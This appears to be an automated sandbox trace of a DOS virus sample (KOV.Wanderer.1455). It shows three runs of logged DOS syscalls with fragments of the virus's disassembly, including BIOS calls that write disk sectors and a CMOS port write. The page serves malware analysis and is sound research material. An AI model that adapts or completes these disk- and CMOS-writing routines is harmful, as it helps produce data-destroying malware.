Sample viewer

vx.netlux.org/Virus.DOS.KOV.Wanderer.1455

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T23:07:38.750248234Z 240 PC: 13dc4 | UNKNOWN!
2018-12-17T23:07:38.751744533Z 255 PC: 13df2 | UNKNOWN!
2018-12-17T23:07:38.752742866Z 74 PC: 12ed5 | Reallocate memory
2018-12-17T23:07:38.753955047Z 75 PC: 12f3b | Execute program
2018-12-17T23:07:38.764073704Z 9 PC: 13272 | Display string (String= 'Goat file (EXE). Size=000011A0h/0000004512d bytes. ')
2018-12-17T23:07:38.768275083Z 76 PC: 13276 | Terminate with return code (Return code = '36')
2018-12-17T23:07:38.771109058Z 73 PC: 12f41 | Release memory
2018-12-17T23:07:38.772522254Z 77 PC: 12f45 | Get program return code
2018-12-17T23:07:38.775009496Z 42 PC: 12f49 | Get date 0x12f49: cmp al, 0
0x12f4b: jne 0x12f56
0x12f4d: mov ah, 0x2c
0x12f4f: int 0x21
0x12f51: cmp cl, 0x2c
0x12f54: je 0x12f5e
0x12f56: mov ah, 0x31
0x12f58: mov dx, 0x75
0x12f5b: call 0x22aa0
0x12f5e: mov ah, 0x19
0x12f60: int 0x21
0x12f62: mov dl, al
0x12f64: cmp dl, 2
0x12f67: jb 0x12f6b
0x12f69: add al, 0x7e
0x12f6b: mov ax, 0x309
0x12f6e: mov bx, 0x61e
0x12f71: mov cx, 1
0x12f74: mov dh, 0
0x12f76: int 0x13
2018-12-17T23:07:38.777058778Z 49 PC: 12aa6 | Terminate and stay resident (Return code = '1' | Memory size = '117')

{"DateBased":true,"Day":6,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":15941,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:44:54.394994603Z 240 PC: 13dc4 | UNKNOWN!
2018-12-25T12:44:54.39625644Z 255 PC: 13df2 | UNKNOWN!
2018-12-25T12:44:54.407736654Z 74 PC: 12ed5 | Reallocate memory
2018-12-25T12:44:54.409302853Z 75 PC: 12f3b | Execute program
2018-12-25T12:44:54.426192613Z 9 PC: 13272 | Display string (String= 'Goat file (EXE). Size=000011A0h/0000004512d bytes. ')
2018-12-25T12:44:54.433372593Z 76 PC: 13276 | Terminate with return code (Return code = '36')
2018-12-25T12:44:54.436789834Z 73 PC: 12f41 | Release memory
2018-12-25T12:44:54.438382096Z 77 PC: 12f45 | Get program return code
2018-12-25T12:44:54.44054675Z 42 PC: 12f49 | Get date 0x12f49: cmp al, 0
0x12f4b: jne 0x12f56
0x12f4d: mov ah, 0x2c
0x12f4f: int 0x21
0x12f51: cmp cl, 0x2c
0x12f54: je 0x12f5e
0x12f56: mov ah, 0x31
0x12f58: mov dx, 0x75
0x12f5b: call 0x22aa0
0x12f5e: mov ah, 0x19
0x12f60: int 0x21
0x12f62: mov dl, al
0x12f64: cmp dl, 2
0x12f67: jb 0x12f6b
0x12f69: add al, 0x7e
0x12f6b: mov ax, 0x309
0x12f6e: mov bx, 0x61e
0x12f71: mov cx, 1
0x12f74: mov dh, 0
0x12f76: int 0x13
2018-12-25T12:44:54.443408617Z 44 PC: 12f51 | Get time 0x12f51: cmp cl, 0x2c
0x12f54: je 0x12f5e
0x12f56: mov ah, 0x31
0x12f58: mov dx, 0x75
0x12f5b: call 0x22aa0
0x12f5e: mov ah, 0x19
0x12f60: int 0x21
0x12f62: mov dl, al
0x12f64: cmp dl, 2
0x12f67: jb 0x12f6b
0x12f69: add al, 0x7e
0x12f6b: mov ax, 0x309
0x12f6e: mov bx, 0x61e
0x12f71: mov cx, 1
0x12f74: mov dh, 0
0x12f76: int 0x13
0x12f78: mov cx, 0x40
0x12f7b: mov al, cl
0x12f7d: out 0x70, al
0x12f7f: mov al, 0xff
2018-12-25T12:44:54.445786623Z 25 PC: 12f62 | Get default drive

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":15941,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:44:54.765704567Z 240 PC: 13dc4 | UNKNOWN!
2018-12-25T12:44:54.767135209Z 255 PC: 13df2 | UNKNOWN!
2018-12-25T12:44:54.775155589Z 74 PC: 12ed5 | Reallocate memory
2018-12-25T12:44:54.7769019Z 75 PC: 12f3b | Execute program
2018-12-25T12:44:54.792089729Z 9 PC: 13272 | Display string (String= 'Goat file (EXE). Size=000011A0h/0000004512d bytes. ')
2018-12-25T12:44:54.79779608Z 76 PC: 13276 | Terminate with return code (Return code = '36')
2018-12-25T12:44:54.800964368Z 73 PC: 12f41 | Release memory
2018-12-25T12:44:54.80287317Z 77 PC: 12f45 | Get program return code
2018-12-25T12:44:54.80442937Z 42 PC: 12f49 | Get date 0x12f49: cmp al, 0
0x12f4b: jne 0x12f56
0x12f4d: mov ah, 0x2c
0x12f4f: int 0x21
0x12f51: cmp cl, 0x2c
0x12f54: je 0x12f5e
0x12f56: mov ah, 0x31
0x12f58: mov dx, 0x75
0x12f5b: call 0x22aa0
0x12f5e: mov ah, 0x19
0x12f60: int 0x21
0x12f62: mov dl, al
0x12f64: cmp dl, 2
0x12f67: jb 0x12f6b
0x12f69: add al, 0x7e
0x12f6b: mov ax, 0x309
0x12f6e: mov bx, 0x61e
0x12f71: mov cx, 1
0x12f74: mov dh, 0
0x12f76: int 0x13
2018-12-25T12:44:54.80647379Z 49 PC: 12aa6 | Terminate and stay resident (Return code = '2' | Memory size = '117')